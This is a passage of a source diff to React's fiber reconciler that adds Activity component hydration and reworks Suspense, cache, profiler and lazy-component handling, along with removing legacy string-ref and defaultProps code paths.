+      // tree is part of a hydrating tree. This is used to determine if a child
+      // node has fully mounted yet, and for scheduling event replaying.
+      // Conceptually this is similar to Placement in that a new subtree is
+      // inserted into the React tree here. It just happens to not need DOM
+      // mutations because it already exists.
+      primaryChildFragment.flags |= Hydrating;
+      return primaryChildFragment;
+    }
+  } else {
+    // This is the second render pass. We already attempted to hydrated, but
+    // something either suspended or errored.
+
+    if (workInProgress.flags & ForceClientRender) {
+      // Something errored during hydration. Try again without hydrating.
+      // The error should've already been logged in throwException.
+      workInProgress.flags &= ~ForceClientRender;
+      return retryActivityComponentWithoutHydrating(
+        current,
+        workInProgress,
+        renderLanes,
+      );
+    } else if ((workInProgress.memoizedState: null | ActivityState) !== null) {
+      // Something suspended and we should still be in dehydrated mode.
+      // Leave the existing child in place.
+
+      workInProgress.child = current.child;
+      // The dehydrated completion pass expects this flag to be there
+      // but the normal offscreen pass doesn't.
+      workInProgress.flags |= DidCapture;
+      return null;
+    } else {
+      // We called retryActivityComponentWithoutHydrating and tried client rendering
+      // but now we suspended again. We should never arrive here because we should
+      // not have pushed a suspense handler during that second pass and it should
+      // instead have suspended above.
+      throw new Error(
+        'Client rendering an Activity suspended it again. This is a bug in React.',
+      );
+    }
+  }
+}
+
+function updateActivityComponent(
+  current: null | Fiber,
+  workInProgress: Fiber,
+  renderLanes: Lanes,
+) {
+  const nextProps: ActivityProps = workInProgress.pendingProps;
+
+  // Check if the first pass suspended.
+  const didSuspend = (workInProgress.flags & DidCapture) !== NoFlags;
+  workInProgress.flags &= ~DidCapture;
+
+  if (current === null) {
+    // Initial mount
+
+    // Special path for hydration
+    // If we're currently hydrating, try to hydrate this boundary.
+    // Hidden Activity boundaries are not emitted on the server.
+    if (getIsHydrating()) {
+      if (nextProps.mode === 'hidden') {
+        // SSR doesn't render hidden Activity so it shouldn't hydrate,
+        // even at offscreen lane. Defer to a client rendered offscreen lane.
+        const primaryChildFragment = mountActivityChildren(
+          workInProgress,
+          nextProps,
+          renderLanes,
+        );
+        workInProgress.lanes = laneToLanes(OffscreenLane);
+        return bailoutOffscreenComponent(null, primaryChildFragment);
+      } else {
+        // We must push the suspense handler context *before* attempting to
+        // hydrate, to avoid a mismatch in case it errors.
+        pushDehydratedActivitySuspenseHandler(workInProgress);
+        const dehydrated: ActivityInstance =
+          claimNextHydratableActivityInstance(workInProgress);
+        return mountDehydratedActivityComponent(
+          workInProgress,
+          dehydrated,
+          renderLanes,
+        );
+      }
+    }
+
+    return mountActivityChildren(workInProgress, nextProps, renderLanes);
+  } else {
+    // This is an update.
+
+    // Special path for hydration
+    const prevState: null | ActivityState = current.memoizedState;
+
+    if (prevState !== null) {
+      const dehydrated = prevState.dehydrated;
+      return updateDehydratedActivityComponent(
+        current,
+        workInProgress,
+        didSuspend,
+        nextProps,
+        dehydrated,
+        prevState,
+        renderLanes,
+      );
+    }
+
+    const currentChild: Fiber = (current.child: any);
+
+    const nextChildren = nextProps.children;
+    const nextMode = nextProps.mode;
+    const offscreenChildProps: OffscreenProps = {
+      mode: nextMode,
+      children: nextChildren,
+    };
+
+    if (
+      includesSomeLane(renderLanes, (OffscreenLane: Lane)) &&
+      includesSomeLane(renderLanes, current.lanes)
+    ) {
+      // If we're rendering Offscreen and we're entering the activity then it's possible
+      // that the only reason we rendered was because this boundary left work. Provide
+      // it as a cause if another one doesn't already exist.
+      markRenderDerivedCause(workInProgress);
+    }
+
+    const primaryChildFragment = updateWorkInProgressOffscreenFiber(
+      currentChild,
+      offscreenChildProps,
+    );
+
+    primaryChildFragment.ref = workInProgress.ref;
+    workInProgress.child = primaryChildFragment;
+    primaryChildFragment.return = workInProgress;
+    return primaryChildFragment;
+  }
+}
+
+function updateCacheComponent(
+  current: Fiber | null,
+  workInProgress: Fiber,
+  renderLanes: Lanes,
+) {
   prepareToReadContext(workInProgress, renderLanes);
   const parentCache = readContext(CacheContext);
 
@@ -938,7 +1269,9 @@ function updateCacheComponent(
     }
   }
 
-  const nextChildren = workInProgress.pendingProps.children;
+  const nextProps: CacheProps = workInProgress.pendingProps;
+
+  const nextChildren = nextProps.children;
   reconcileChildren(current, workInProgress, nextChildren, renderLanes);
   return workInProgress.child;
 }
@@ -953,6 +1286,8 @@ function updateTracingMarkerComponent(
     return null;
   }
 
+  const nextProps: TracingMarkerProps = workInProgress.pendingProps;
+
   // TODO: (luna) Only update the tracing marker if it's newly rendered or it's name changed.
   // A tracing marker is only associated with the transitions that rendered
   // or updated it, so we can create a new set of transitions each time
@@ -963,7 +1298,7 @@ function updateTracingMarkerComponent(
         tag: TransitionTracingMarker,
         transitions: new Set(currentTransitions),
         pendingBoundaries: null,
-        name: workInProgress.pendingProps.name,
+        name: nextProps.name,
         aborts: null,
       };
       workInProgress.stateNode = markerInstance;
@@ -976,7 +1311,7 @@ function updateTracingMarkerComponent(
     }
   } else {
     if (__DEV__) {
-      if (current.memoizedProps.name !== workInProgress.pendingProps.name) {
+      if (current.memoizedProps.name !== nextProps.name) {
         console.error(
           'Changing the name of a tracing marker after mount is not supported. ' +
             'To remount the tracing marker, pass it a new key.',
@@ -989,7 +1324,7 @@ function updateTracingMarkerComponent(
   if (instance !== null) {
     pushMarkerInstance(workInProgress, instance);
   }
-  const nextChildren = workInProgress.pendingProps.children;
+  const nextChildren = nextProps.children;
   reconcileChildren(current, workInProgress, nextChildren, renderLanes);
   return workInProgress.child;
 }
@@ -1000,6 +1335,9 @@ function updateFragment(
   renderLanes: Lanes,
 ) {
   const nextChildren = workInProgress.pendingProps;
+  if (enableFragmentRefs) {
+    markRef(current, workInProgress);
+  }
   reconcileChildren(current, workInProgress, nextChildren, renderLanes);
   return workInProgress.child;
 }
@@ -1023,14 +1361,18 @@ function updateProfiler(
     workInProgress.flags |= Update;
 
     if (enableProfilerCommitHooks) {
+      // Schedule a passive effect for this Profiler to call onPostCommit hooks.
+      // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,
+      // because the effect is also where times bubble to parent Profilers.
+      workInProgress.flags |= Passive;
       // Reset effect durations for the next eventual effect phase.
       // These are reset during render to allow the DevTools commit hook a chance to read them,
       const stateNode = workInProgress.stateNode;
-      stateNode.effectDuration = 0;
-      stateNode.passiveEffectDuration = 0;
+      stateNode.effectDuration = -0;
+      stateNode.passiveEffectDuration = -0;
     }
   }
-  const nextProps = workInProgress.pendingProps;
+  const nextProps: ProfilerProps = workInProgress.pendingProps;
   const nextChildren = nextProps.children;
   reconcileChildren(current, workInProgress, nextChildren, renderLanes);
   return workInProgress.child;
@@ -1051,25 +1393,6 @@ function markRef(current: Fiber | null, workInProgress: Fiber) {
       );
     }
     if (current === null || current.ref !== ref) {
-      if (!disableStringRefs && current !== null) {
-        const oldRef = current.ref;
-        const newRef = ref;
-        if (
-          typeof oldRef === 'function' &&
-          typeof newRef === 'function' &&
-          typeof oldRef.__stringRef === 'string' &&
-          oldRef.__stringRef === newRef.__stringRef &&
-          oldRef.__stringRefType === newRef.__stringRefType &&
-          oldRef.__stringRefOwner === newRef.__stringRefOwner
-        ) {
-          // Although this is a different callback, it represents the same
-          // string ref. To avoid breaking old Meta code that relies on string
-          // refs only being attached once, reuse the old ref. This will
-          // prevent us from detaching and reattaching the ref on each update.
-          workInProgress.ref = oldRef;
-          return;
-        }
-      }
       // Schedule a Ref effect
       workInProgress.flags |= Ref | RefStatic;
     }
@@ -1130,18 +1453,33 @@ function updateFunctionComponent(
       // in updateFuntionComponent but only on mount
       validateFunctionComponentInDev(workInProgress, workInProgress.type);
 
-      if (disableLegacyContext && Component.contextTypes) {
-        console.error(
-          '%s uses the legacy contextTypes API which was removed in React 19. ' +
-            'Use React.createContext() with React.useContext() instead.',
-          getComponentNameFromType(Component) || 'Unknown',
-        );
+      if (Component.contextTypes) {
+        const componentName = getComponentNameFromType(Component) || 'Unknown';
+
+        if (!didWarnAboutContextTypes[componentName]) {
+          didWarnAboutContextTypes[componentName] = true;
+          if (disableLegacyContext) {
+            console.error(
+              '%s uses the legacy contextTypes API which was removed in React 19. ' +
+                'Use React.createContext() with React.useContext() instead. ' +
+                '(https://react.dev/link/legacy-context)',
+              componentName,
+            );
+          } else {
+            console.error(
+              '%s uses the legacy contextTypes API which will be removed soon. ' +
+                'Use React.createContext() with React.useContext() instead. ' +
+                '(https://react.dev/link/legacy-context)',
+              componentName,
+            );
+          }
+        }
       }
     }
   }
 
   let context;
-  if (!disableLegacyContext) {
+  if (!disableLegacyContext && !disableLegacyContextForFunctionComponents) {
     const unmaskedContext = getUnmaskedContext(workInProgress, Component, true);
     context = getMaskedContext(workInProgress, unmaskedContext);
   }
@@ -1246,6 +1584,9 @@ function updateClassComponent(
     // This is used by DevTools to force a boundary to error.
     switch (shouldError(workInProgress)) {
       case false: {
+        // We previously simulated an error on this boundary
+        // so the instance must have been constructed in a previous
+        // commit.
         const instance = workInProgress.stateNode;
         const ctor = workInProgress.type;
         // TODO This way of resetting the error boundary state is a hack.
@@ -1372,7 +1713,7 @@ function finishClassComponent(
   const instance = workInProgress.stateNode;
 
   // Rerender
-  if (__DEV__ || !disableStringRefs) {
+  if (__DEV__) {
     setCurrentFiber(workInProgress);
   }
   let nextChildren;
@@ -1396,10 +1737,7 @@ function finishClassComponent(
     }
     if (__DEV__) {
       nextChildren = callRenderInDEV(instance);
-      if (
-        debugRenderPhaseSideEffectsForStrictMode &&
-        workInProgress.mode & StrictLegacyMode
-      ) {
+      if (workInProgress.mode & StrictLegacyMode) {
         setIsStrictModeForDevtools(true);
         try {
           callRenderInDEV(instance);
@@ -1471,7 +1809,7 @@ function updateHostRoot(
   }
 
   const nextProps = workInProgress.pendingProps;
-  const prevState = workInProgress.memoizedState;
+  const prevState: RootState = workInProgress.memoizedState;
   const prevChildren = prevState.element;
   cloneUpdateQueue(current, workInProgress);
   processUpdateQueue(workInProgress, nextProps, null, renderLanes);
@@ -1484,13 +1822,11 @@ function updateHostRoot(
     pushRootMarkerInstance(workInProgress);
   }
 
-  if (enableCache) {
-    const nextCache: Cache = nextState.cache;
-    pushCacheProvider(workInProgress, nextCache);
-    if (nextCache !== prevState.cache) {
-      // The root cache refreshed.
-      propagateContextChange(workInProgress, CacheContext, renderLanes);
-    }
+  const nextCache: Cache = nextState.cache;
+  pushCacheProvider(workInProgress, nextCache);
+  if (nextCache !== prevState.cache) {
+    // The root cache refreshed.
+    propagateContextChange(workInProgress, CacheContext, renderLanes);
   }
 
   // This would ideally go inside processUpdateQueue, but because it suspends,
@@ -1624,58 +1960,36 @@ function updateHostComponent(
     workInProgress.flags |= ContentReset;
   }
 
-  if (enableAsyncActions) {
-    const memoizedState = workInProgress.memoizedState;
-    if (memoizedState !== null) {
-      // This fiber has been upgraded to a stateful component. The only way
-      // happens currently is for form actions. We use hooks to track the
-      // pending and error state of the form.
-      //
-      // Once a fiber is upgraded to be stateful, it remains stateful for the
-      // rest of its lifetime.
-      const newState = renderTransitionAwareHostComponentWithHooks(
-        current,
-        workInProgress,
-        renderLanes,
-      );
+  const memoizedState = workInProgress.memoizedState;
+  if (memoizedState !== null) {
+    // This fiber has been upgraded to a stateful component. The only way
+    // happens currently is for form actions. We use hooks to track the
+    // pending and error state of the form.
+    //
+    // Once a fiber is upgraded to be stateful, it remains stateful for the
+    // rest of its lifetime.
+    const newState = renderTransitionAwareHostComponentWithHooks(
+      current,
+      workInProgress,
+      renderLanes,
+    );
 
-      // If the transition state changed, propagate the change to all the
-      // descendents. We use Context as an implementation detail for this.
-      //
-      // This is intentionally set here instead of pushHostContext because
-      // pushHostContext gets called before we process the state hook, to avoid
-      // a state mismatch in the event that something suspends.
-      //
-      // NOTE: This assumes that there cannot be nested transition providers,
-      // because the only renderer that implements this feature is React DOM,
-      // and forms cannot be nested. If we did support nested providers, then
-      // we would need to push a context value even for host fibers that
-      // haven't been upgraded yet.
-      if (isPrimaryRenderer) {
-        HostTransitionContext._currentValue = newState;
-      } else {
-        HostTransitionContext._currentValue2 = newState;
-      }
-      if (enableLazyContextPropagation) {
-        // In the lazy propagation implementation, we don't scan for matching
-        // consumers until something bails out.
-      } else {
-        if (didReceiveUpdate) {
-          if (current !== null) {
-            const oldStateHook: Hook = current.memoizedState;
-            const oldState: TransitionStatus = oldStateHook.memoizedState;
-            // This uses regular equality instead of Object.is because we assume
-            // that host transition state doesn't include NaN as a valid type.
-            if (oldState !== newState) {
-              propagateContextChange(
-                workInProgress,
-                HostTransitionContext,
-                renderLanes,
-              );
-            }
-          }
-        }
-      }
+    // If the transition state changed, propagate the change to all the
+    // descendents. We use Context as an implementation detail for this.
+    //
+    // We need to update it here because
+    // pushHostContext gets called before we process the state hook, to avoid
+    // a state mismatch in the event that something suspends.
+    //
+    // NOTE: This assumes that there cannot be nested transition providers,
+    // because the only renderer that implements this feature is React DOM,
+    // and forms cannot be nested. If we did support nested providers, then
+    // we would need to push a context value even for host fibers that
+    // haven't been upgraded yet.
+    if (isPrimaryRenderer) {
+      HostTransitionContext._currentValue = newState;
+    } else {
+      HostTransitionContext._currentValue2 = newState;
     }
   }
 
@@ -1743,21 +2057,13 @@ function updateHostSingleton(
   }
 
   const nextChildren = workInProgress.pendingProps.children;
-
-  if (current === null && !getIsHydrating()) {
-    // Similar to Portals we append Singleton children in the commit phase. So we
-    // Track insertions even on mount.
-    // TODO: Consider unifying this with how the root works.
-    workInProgress.child = reconcileChildFibers(
-      workInProgress,
-      null,
-      nextChildren,
-      renderLanes,
-    );
-  } else {
-    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
-  }
+  reconcileChildren(current, workInProgress, nextChildren, renderLanes);
   markRef(current, workInProgress);
+  if (current === null) {
+    // We mark Singletons with a static flag to more efficiently manage their
+    // ownership of the singleton host instance when in offscreen trees including Suspense
+    workInProgress.flags |= LayoutStatic;
+  }
   return workInProgress.child;
 }
 
@@ -1780,20 +2086,13 @@ function mountLazyComponent(
 
   const props = workInProgress.pendingProps;
   const lazyComponent: LazyComponentType<any, any> = elementType;
-  let Component;
-  if (__DEV__) {
-    Component = callLazyInitInDEV(lazyComponent);
-  } else {
-    const payload = lazyComponent._payload;
-    const init = lazyComponent._init;
-    Component = init(payload);
-  }
+  let Component = resolveLazy(lazyComponent);
   // Store the unwrapped component in the type.
   workInProgress.type = Component;
 
   if (typeof Component === 'function') {
     if (isFunctionClassComponent(Component)) {
-      const resolvedProps = resolveClassComponentProps(Component, props, false);
+      const resolvedProps = resolveClassComponentProps(Component, props);
       workInProgress.tag = ClassComponent;
       if (__DEV__) {
         workInProgress.type = Component =
@@ -1807,9 +2106,6 @@ function mountLazyComponent(
         renderLanes,
       );
     } else {
-      const resolvedProps = disableDefaultPropsExceptForClasses
-        ? props
-        : resolveDefaultPropsOnNonClassComponent(Component, props);
       workInProgress.tag = FunctionComponent;
       if (__DEV__) {
         validateFunctionComponentInDev(workInProgress, Component);
@@ -1820,16 +2116,13 @@ function mountLazyComponent(
         null,
         workInProgress,
         Component,
-        resolvedProps,
+        props,
         renderLanes,
       );
     }
   } else if (Component !== undefined && Component !== null) {
     const $$typeof = Component.$$typeof;
     if ($$typeof === REACT_FORWARD_REF_TYPE) {
-      const resolvedProps = disableDefaultPropsExceptForClasses
-        ? props
-        : resolveDefaultPropsOnNonClassComponent(Component, props);
       workInProgress.tag = ForwardRef;
       if (__DEV__) {
         workInProgress.type = Component =
@@ -1839,26 +2132,22 @@ function mountLazyComponent(
         null,
         workInProgress,
         Component,
-        resolvedProps,
+        props,
         renderLanes,
       );
     } else if ($$typeof === REACT_MEMO_TYPE) {
-      const resolvedProps = disableDefaultPropsExceptForClasses
-        ? props
-        : resolveDefaultPropsOnNonClassComponent(Component, props);
       workInProgress.tag = MemoComponent;
       return updateMemoComponent(
         null,
         workInProgress,
         Component,
-        disableDefaultPropsExceptForClasses
-          ? resolvedProps
-          : resolveDefaultPropsOnNonClassComponent(
-              Component.type,
-              resolvedProps,
-            ), // The inner type can have defaults too
+        props,
         renderLanes,
       );
+    } else if ($$typeof === REACT_CONTEXT_TYPE) {
+      workInProgress.tag = ContextProvider;
+      workInProgress.type = Component;
+      return updateContextProvider(null, workInProgress, renderLanes);
     }
   }
 
@@ -1873,11 +2162,13 @@ function mountLazyComponent(
     }
   }
 
+  const loggedComponent = getComponentNameFromType(Component) || Component;
+
   // This message intentionally doesn't mention ForwardRef or MemoComponent
   // because the fact that it's a separate type of work is an
   // implementation detail.
   throw new Error(
-    `Element type is invalid. Received a promise that resolves to: ${Component}. ` +
+    `Element type is invalid. Received a promise that resolves to: ${loggedComponent}. ` +
       `Lazy element type must resolve to a class or function.${hint}`,
   );
 }
@@ -1914,58 +2205,21 @@ function mountIncompleteClassComponent(
   return finishClassComponent(
     null,
     workInProgress,
-    Component,
-    true,
-    hasContext,
-    renderLanes,
-  );
-}
-
-function validateFunctionComponentInDev(workInProgress: Fiber, Component: any) {
-  if (__DEV__) {
-    if (Component) {
-      if (Component.childContextTypes) {
-        console.error(
-          'childContextTypes cannot be defined on a function component.\n' +
-            '  %s.childContextTypes = ...',
-          Component.displayName || Component.name || 'Component',
-        );
-      }
-    }
-    if (!enableRefAsProp && workInProgress.ref !== null) {
-      let info = '';
-      const componentName = getComponentNameFromType(Component) || 'Unknown';
-      const ownerName = getCurrentFiberOwnerNameInDevOrNull();
-      if (ownerName) {
-        info += '\n\nCheck the render method of `' + ownerName + '`.';
-      }
-
-      const warningKey = componentName + '|' + (ownerName || '');
-      if (!didWarnAboutFunctionRefs[warningKey]) {
-        didWarnAboutFunctionRefs[warningKey] = true;
-        console.error(
-          'Function components cannot be given refs. ' +
-            'Attempts to access this ref will fail. ' +
-            'Did you mean to use React.forwardRef()?%s',
-          info,
-        );
-      }
-    }
-
-    if (
-      !disableDefaultPropsExceptForClasses &&
-      Component.defaultProps !== undefined
-    ) {
-      const componentName = getComponentNameFromType(Component) || 'Unknown';
+    Component,
+    true,
+    hasContext,
+    renderLanes,
+  );
+}
 
-      if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
-        console.error(
-          '%s: Support for defaultProps will be removed from function components ' +
-            'in a future major release. Use JavaScript default parameters instead.',
-          componentName,
-        );
-        didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
-      }
+function validateFunctionComponentInDev(workInProgress: Fiber, Component: any) {
+  if (__DEV__) {
+    if (Component && Component.childContextTypes) {
+      console.error(
+        'childContextTypes cannot be defined on a function component.\n' +
+          '  %s.childContextTypes = ...',
+        Component.displayName || Component.name || 'Component',
+      );
     }
 
     if (typeof Component.getDerivedStateFromProps === 'function') {
@@ -2001,6 +2255,7 @@ const SUSPENDED_MARKER: SuspenseState = {
   dehydrated: null,
   treeContext: null,
   retryLane: NoLane,
+  hydrationErrors: null,
 };
 
 function mountSuspenseOffscreenState(renderLanes: Lanes): OffscreenState {
@@ -2015,28 +2270,26 @@ function updateSuspenseOffscreenState(
   renderLanes: Lanes,
 ): OffscreenState {
   let cachePool: SpawnedCachePool | null = null;
-  if (enableCache) {
-    const prevCachePool: SpawnedCachePool | null = prevOffscreenState.cachePool;
-    if (prevCachePool !== null) {
-      const parentCache = isPrimaryRenderer
-        ? CacheContext._currentValue
-        : CacheContext._currentValue2;
-      if (prevCachePool.parent !== parentCache) {
-        // Detected a refresh in the parent. This overrides any previously
-        // suspended cache.
-        cachePool = {
-          parent: parentCache,
-          pool: parentCache,
-        };
-      } else {
-        // We can reuse the cache from last time. The only thing that would have
-        // overridden it is a parent refresh, which we checked for above.
-        cachePool = prevCachePool;
-      }
+  const prevCachePool: SpawnedCachePool | null = prevOffscreenState.cachePool;
+  if (prevCachePool !== null) {
+    const parentCache = isPrimaryRenderer
+      ? CacheContext._currentValue
+      : CacheContext._currentValue2;
+    if (prevCachePool.parent !== parentCache) {
+      // Detected a refresh in the parent. This overrides any previously
+      // suspended cache.
+      cachePool = {
+        parent: parentCache,
+        pool: parentCache,
+      };
     } else {
-      // If there's no previous cache pool, grab the current one.
-      cachePool = getSuspendedCache();
+      // We can reuse the cache from last time. The only thing that would have
+      // overridden it is a parent refresh, which we checked for above.
+      cachePool = prevCachePool;
     }
+  } else {
+    // If there's no previous cache pool, grab the current one.
+    cachePool = getSuspendedCache();
   }
   return {
     baseLanes: mergeLanes(prevOffscreenState.baseLanes, renderLanes),
@@ -2097,7 +2350,7 @@ function updateSuspenseComponent(
   workInProgress: Fiber,
   renderLanes: Lanes,
 ) {
-  const nextProps = workInProgress.pendingProps;
+  const nextProps: SuspenseProps = workInProgress.pendingProps;
 
   // This is used by DevTools to force a boundary to suspend.
   if (__DEV__) {
@@ -2158,24 +2411,14 @@ function updateSuspenseComponent(
       } else {
         pushFallbackTreeSuspenseHandler(workInProgress);
       }
-      tryToClaimNextHydratableSuspenseInstance(workInProgress);
-      // This could've been a dehydrated suspense component.
-      const suspenseState: null | SuspenseState = workInProgress.memoizedState;
-      if (suspenseState !== null) {
-        const dehydrated = suspenseState.dehydrated;
-        if (dehydrated !== null) {
-          return mountDehydratedSuspenseComponent(
-            workInProgress,
-            dehydrated,
-            renderLanes,
-          );
-        }
-      }
-      // If hydration didn't succeed, fall through to the normal Suspense path.
-      // To avoid a stack mismatch we need to pop the Suspense handler that we
-      // pushed above. This will become less awkward when move the hydration
-      // logic to its own fiber.
-      popSuspenseHandler(workInProgress);
+      // This throws if we fail to hydrate.
+      const dehydrated: SuspenseInstance =
+        claimNextHydratableSuspenseInstance(workInProgress);
+      return mountDehydratedSuspenseComponent(
+        workInProgress,
+        dehydrated,
+        renderLanes,
+      );
     }
 
     const nextPrimaryChildren = nextProps.children;
@@ -2184,7 +2427,7 @@ function updateSuspenseComponent(
     if (showFallback) {
       pushFallbackTreeSuspenseHandler(workInProgress);
 
-      const fallbackFragment = mountSuspenseFallbackChildren(
+      mountSuspenseFallbackChildren(
         workInProgress,
         nextPrimaryChildren,
         nextFallbackChildren,
@@ -2219,16 +2462,13 @@ function updateSuspenseComponent(
         }
       }
 
-      return fallbackFragment;
-    } else if (
-      enableCPUSuspense &&
-      typeof nextProps.unstable_expectedLoadTime === 'number'
-    ) {
+      return bailoutOffscreenComponent(null, primaryChildFragment);
+    } else if (enableCPUSuspense && nextProps.defer === true) {
       // This is a CPU-bound tree. Skip this tree and show a placeholder to
       // unblock the surrounding content. Then immediately retry after the
       // initial commit.
       pushFallbackTreeSuspenseHandler(workInProgress);
-      const fallbackFragment = mountSuspenseFallbackChildren(
+      mountSuspenseFallbackChildren(
         workInProgress,
         nextPrimaryChildren,
         nextFallbackChildren,
@@ -2255,7 +2495,7 @@ function updateSuspenseComponent(
       // RetryLane even if it's the one currently rendering since we're leaving
       // it behind on this node.
       workInProgress.lanes = SomeRetryLane;
-      return fallbackFragment;
+      return bailoutOffscreenComponent(null, primaryChildFragment);
     } else {
       pushPrimaryTreeSuspenseHandler(workInProgress);
       return mountSuspensePrimaryChildren(
@@ -2290,7 +2530,7 @@ function updateSuspenseComponent(
 
       const nextFallbackChildren = nextProps.fallback;
       const nextPrimaryChildren = nextProps.children;
-      const fallbackChildFragment = updateSuspenseFallbackChildren(
+      updateSuspenseFallbackChildren(
         current,
         workInProgress,
         nextPrimaryChildren,
@@ -2343,8 +2583,19 @@ function updateSuspenseComponent(
         renderLanes,
       );
       workInProgress.memoizedState = SUSPENDED_MARKER;
-      return fallbackChildFragment;
+      return bailoutOffscreenComponent(current.child, primaryChildFragment);
     } else {
+      if (
+        prevState !== null &&
+        includesOnlyRetries(renderLanes) &&
+        includesSomeLane(renderLanes, current.lanes)
+      ) {
+        // If we're rendering Retry lanes and we're entering the primary content then it's possible
+        // that the only reason we rendered was because we left this boundary to be warmed up but
+        // nothing else scheduled an update. If so, use it as the cause of the render.
+        markRenderDerivedCause(workInProgress);
+      }
+
       pushPrimaryTreeSuspenseHandler(workInProgress);
 
       const nextPrimaryChildren = nextProps.children;
@@ -2412,10 +2663,10 @@ function mountSuspenseFallbackChildren(
       // final amounts. This seems counterintuitive, since we're intentionally
       // not measuring part of the render phase, but this makes it match what we
       // do in Concurrent Mode.
-      primaryChildFragment.actualDuration = 0;
-      primaryChildFragment.actualStartTime = -1;
-      primaryChildFragment.selfBaseDuration = 0;
-      primaryChildFragment.treeBaseDuration = 0;
+      primaryChildFragment.actualDuration = -0;
+      primaryChildFragment.actualStartTime = -1.1;
+      primaryChildFragment.selfBaseDuration = -0;
+      primaryChildFragment.treeBaseDuration = -0;
     }
 
     fallbackChildFragment = createFiberFromFragment(
@@ -2542,8 +2793,8 @@ function updateSuspenseFallbackChildren(
       // final amounts. This seems counterintuitive, since we're intentionally
       // not measuring part of the render phase, but this makes it match what we
       // do in Concurrent Mode.
-      primaryChildFragment.actualDuration = 0;
-      primaryChildFragment.actualStartTime = -1;
+      primaryChildFragment.actualDuration = -0;
+      primaryChildFragment.actualStartTime = -1.1;
       primaryChildFragment.selfBaseDuration =
         currentPrimaryChildFragment.selfBaseDuration;
       primaryChildFragment.treeBaseDuration =
@@ -2588,7 +2839,7 @@ function updateSuspenseFallbackChildren(
   primaryChildFragment.sibling = fallbackChildFragment;
   workInProgress.child = primaryChildFragment;
 
-  return fallbackChildFragment;
+  return bailoutOffscreenComponent(null, primaryChildFragment);
 }
 
 function retrySuspenseComponentWithoutHydrating(
@@ -2673,14 +2924,8 @@ function mountDehydratedSuspenseComponent(
     // have timed out. In theory we could render it in this pass but it would have the
     // wrong priority associated with it and will prevent hydration of parent path.
     // Instead, we'll leave work left on it to render it in a separate commit.
-
-    // TODO This time should be the time at which the server rendered response that is
-    // a parent to this boundary was displayed. However, since we currently don't have
-    // a protocol to transfer that time, we'll just estimate it by using the current
-    // time. This will mean that Suspense timeouts are slightly shifted to later than
-    // they should be.
     // Schedule a normal pri update to render this content.
-    workInProgress.lanes = laneToLanes(DefaultHydrationLane);
+    workInProgress.lanes = laneToLanes(DefaultLane);
   } else {
     // We'll continue hydrating the rest at offscreen priority since we'll already
     // be showing the right content coming from the server, it is no rush.
@@ -2694,7 +2939,7 @@ function updateDehydratedSuspenseComponent(
   workInProgress: Fiber,
   didSuspend: boolean,
   didPrimaryChildrenDefer: boolean,
-  nextProps: any,
+  nextProps: SuspenseProps,
   suspenseInstance: SuspenseInstance,
   suspenseState: SuspenseState,
   renderLanes: Lanes,
@@ -2707,6 +2952,13 @@ function updateDehydratedSuspenseComponent(
     // but after we've already committed once.
     warnIfHydrating();
 
+    if (includesSomeLane(renderLanes, (OffscreenLane: Lane))) {
+      // If we're rendering Offscreen and we're entering the activity then it's possible
+      // that the only reason we rendered was because this boundary left work. Provide
+      // it as a cause if another one doesn't already exist.
+      markRenderDerivedCause(workInProgress);
+    }
+
     if (isSuspenseInstanceFallback(suspenseInstance)) {
       // This boundary is in a permanent fallback state. In this case, we'll never
       // get an update and we'll never be able to hydrate the final content. Let's just try the
@@ -2722,28 +2974,25 @@ function updateDehydratedSuspenseComponent(
         ({digest} = getSuspenseInstanceFallbackErrorDetails(suspenseInstance));
       }
 
-      // TODO: Figure out a better signal than encoding a magic digest value.
-      if (!enablePostpone || digest !== 'POSTPONE') {
-        let error: Error;
-        if (__DEV__ && message) {
-          // eslint-disable-next-line react-internal/prod-error-codes
-          error = new Error(message);
-        } else {
-          error = new Error(
-            'The server could not finish this Suspense boundary, likely ' +
-              'due to an error during server rendering. ' +
-              'Switched to client rendering.',
-          );
-        }
-        // Replace the stack with the server stack
-        error.stack = (__DEV__ && stack) || '';
-        (error: any).digest = digest;
-        const capturedValue = createCapturedValueFromError(
-          error,
-          componentStack === undefined ? null : componentStack,
+      let error: Error;
+      if (__DEV__ && message) {
+        // eslint-disable-next-line react-internal/prod-error-codes
+        error = new Error(message);
+      } else {
+        error = new Error(
+          'The server could not finish this Suspense boundary, likely ' +
+            'due to an error during server rendering. ' +
+            'Switched to client rendering.',
         );
-        queueHydrationError(capturedValue);
       }
+      // Replace the stack with the server stack
+      error.stack = (__DEV__ && stack) || '';
+      (error: any).digest = digest;
+      const capturedValue = createCapturedValueFromError(
+        error,
+        componentStack === undefined ? null : componentStack,
+      );
+      queueHydrationError(capturedValue);
       return retrySuspenseComponentWithoutHydrating(
         current,
         workInProgress,
@@ -2752,10 +3001,7 @@ function updateDehydratedSuspenseComponent(
     }
 
     if (
-      enableLazyContextPropagation &&
       // TODO: Factoring is a little weird, since we check this right below, too.
-      // But don't want to re-arrange the if-else chain until/unless this
-      // feature lands.
       !didReceiveUpdate
     ) {
       // We need to check if any children have context before we decide to bail
@@ -2810,11 +3056,6 @@ function updateDehydratedSuspenseComponent(
       // outside a transition.
       //
       // This path should only happen if the hydration lane already suspended.
-      // Currently, it also happens during sync updates because there is no
-      // hydration lane for sync updates.
-      // TODO: We should ideally have a sync hydration lane that we can apply to do
-      // a pass where we hydrate this subtree in place using the previous Context and then
-      // reapply the update afterwards.
       if (isSuspenseInstancePending(suspenseInstance)) {
         // This is a dehydrated suspense instance. We don't need to suspend
         // because we're already showing a fallback.
@@ -2839,12 +3080,10 @@ function updateDehydratedSuspenseComponent(
       // on the client than if we just leave it alone. If the server times out or errors
       // these should update this boundary to the permanent Fallback state instead.
       // Mark it as having captured (i.e. suspended).
-      workInProgress.flags |= DidCapture;
+      // Also Mark it as requiring retry.
+      workInProgress.flags |= DidCapture | Callback;
       // Leave the child in place. I.e. the dehydrated fragment.
       workInProgress.child = current.child;
-      // Register a callback to retry this boundary once the server has sent the result.
-      const retry = retryDehydratedSuspenseBoundary.bind(null, current);
-      registerSuspenseInstanceRetry(suspenseInstance, retry);
       return null;
     } else {
       // This is the first attempt.
@@ -2901,14 +3140,13 @@ function updateDehydratedSuspenseComponent(
 
       const nextPrimaryChildren = nextProps.children;
       const nextFallbackChildren = nextProps.fallback;
-      const fallbackChildFragment =
-        mountSuspenseFallbackAfterRetryWithoutHydrating(
-          current,
